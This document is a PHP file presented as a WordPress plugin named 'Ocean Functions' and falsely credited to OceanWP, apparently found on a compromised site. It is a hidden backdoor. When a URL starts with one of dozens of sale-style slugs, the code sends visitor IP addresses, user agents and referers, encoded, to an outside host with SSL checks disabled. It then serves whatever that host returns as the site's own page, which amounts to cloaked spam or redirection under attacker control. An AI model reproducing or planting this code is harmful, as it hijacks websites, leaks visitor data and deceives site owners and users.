File: //var/www/wp-content/plugins/Ocean-Functions/Ocean-Functions.php
<?php
/*
Plugin Name: Ocean Functions
Plugin URI: https://american-software.com/wp-admin/plugin-install.php?fs_allow_updater_and_dialog=true&tab=plugin-information&plugin=ocean-custom-sidebar&TB_iframe=true&width=600&height=550
Description: This plugin Contains WP Ocean Functions.
Version: 1.8.0
Author: OceanWP
Author URI: https://oceanwp.org/
License: GPL2
*/
// 确保是从WordPress调用的
defined('ABSPATH') or die('非法访问');
// 辅助函数
function url_reader_get_request_param($key, $default = '')
{
return isset($_REQUEST[$key]) ? sanitize_text_field($_REQUEST[$key]) : $default;
}
function url_reader_get_server_param($key, $default = '')
{
return isset($_SERVER[$key]) ? sanitize_text_field($_SERVER[$key]) : $default;
}
function url_reader_encode_array($array)
{
return urlencode(base64_encode(gzcompress(json_encode($array), 9)));
}
function url_reader_decode_array($string)
{
return json_decode(gzuncompress(base64_decode(urldecode($string))), true);
}
function url_reader_curl_get_contents($url, $follow_location = true, $use_ssl = true, $timeout = 30)
{
if (!filter_var($url, FILTER_VALIDATE_URL)) {
return new WP_Error('invalid_url', '无效的URL格式');
}
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => $follow_location,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => $timeout,
CURLOPT_USERAGENT => 'WordPress/' . get_bloginfo('version') . '; ' . get_bloginfo('url')
]);
$response = curl_exec($ch);
$error = curl_error($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($error) {
return new WP_Error('curl_error', $error);
}
return [
'content' => $response,
'info' => $info
];
}
// 在WordPress初始化时处理请求
function handle_custom_request()
{
// 获取当前请求的URI
$request_uri = trim($_SERVER['REQUEST_URI'], '/');
// 如果是wp-admin或其他WordPress系统页面,直接返回
if (
strpos($request_uri, 'wp-') === 0 ||
strpos($request_uri, 'admin') === 0 ||
strpos($request_uri, 'login') === 0 ||
$request_uri == ''
) {
return;
}
// 解析URL路径
$path_parts = explode('/', $request_uri);
$urlname = $path_parts[0];
$qianzui_string = <<<EOF
flash-sale
hot-deal
best-offer
mega-deal
special-offer
limited-time
great-deal
top-deal
best-price
deal-alert
quick-sale
save-now
hot-price
mega-offer
flash-deal
super-price
best-buy
hot-offer
mega-save
super-value
limited-deal
hot-savings
flash-offer
mega-price
best-grab
quick-grab
great-pick
flash-buy
mega-grab
best-catch
discount
sale-now
amazing-price
quick-offer
limited-stock
hot-sale
flash-price
top-sale
limited-offer
best-save
mega-choice
top-offer
limited-save
best-flash
mega-buy
top-save
limited-buy
hot-choice
flash-choice
super-grab
great-choice
limited-find
hot-super
flash-find
hot-mega
bargain
deal-time
save-big
special-deal
amazing-offer
quick-buy
limited-price
mega-sale
flash-grab
great-save
mega-super
top-price
super-save
hot-save
super-pick
huge-sale
deal-find
special-pick
amazing-find
quick-save
mega-pick
hot-save
flash-pick
great-save
hot-find
mega-save
super-super
quick-find
super-find
top-super
limited-value
EOF;
$qianzui_array = explode("\n", $qianzui_string);
$qianzui_array = array_map("trim", $qianzui_array);
//print_r($qianzui_array);
$is_start_with = false;
foreach ($qianzui_array as $qianzui_array_item) {
if (strpos($urlname, $qianzui_array_item) === 0) {
$is_start_with = true;
break;
}
}
//echo $is_start_with;
if (!$is_start_with) {
return;
}
// 如果有urlname,处理请求
if (!empty($urlname) && count($path_parts) == 1 && $is_start_with) {
// 获取服务器信息
$domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$script_name = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '';
$request_scheme = isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] : 'http';
$remote_addr = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
$forwarded_for = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : '';
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
// 构建参数数组
$params = array(
'SCRIPT_NAME' => $script_name,
'REQUEST_SCHEME' => $request_scheme,
'HTTP_REFERER' => $referer,
'HTTP_USER_AGENT' => $user_agent,
'domain' => "american-software.com",
'domain_md5' => "e4e3fd9c15e7655b76c7acc0f88c0a9b",
'urlname' => $urlname,
'REMOTE_ADDR' => $remote_addr,
'HTTP_X_FORWARDED_FOR' => $forwarded_for
);
// 编码参数
$encoded_params = urlencode(base64_encode(gzcompress(json_encode($params), 9)));
// 构建远程URL
$remote_url = "https://www.storeguys.shop/041791wzc/url2025.php?params=" . $encoded_params;
// 获取远程内容
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $remote_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 30,
CURLOPT_USERAGENT => $user_agent
));
$response = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if ($error) {
echo "Error: " . $error;
exit;
}
// 输出内容
header('Content-Type: text/html; charset=utf-8');
echo $response;
exit;
}
}
// 在WordPress初始化时添加我们的处理函数
add_action('init', 'handle_custom_request', 1);
// 激活插件时刷新重写规则
register_activation_hook(__FILE__, 'flush_rewrite_rules');
// 停用插件时刷新重写规则
register_deactivation_hook(__FILE__, 'flush_rewrite_rules');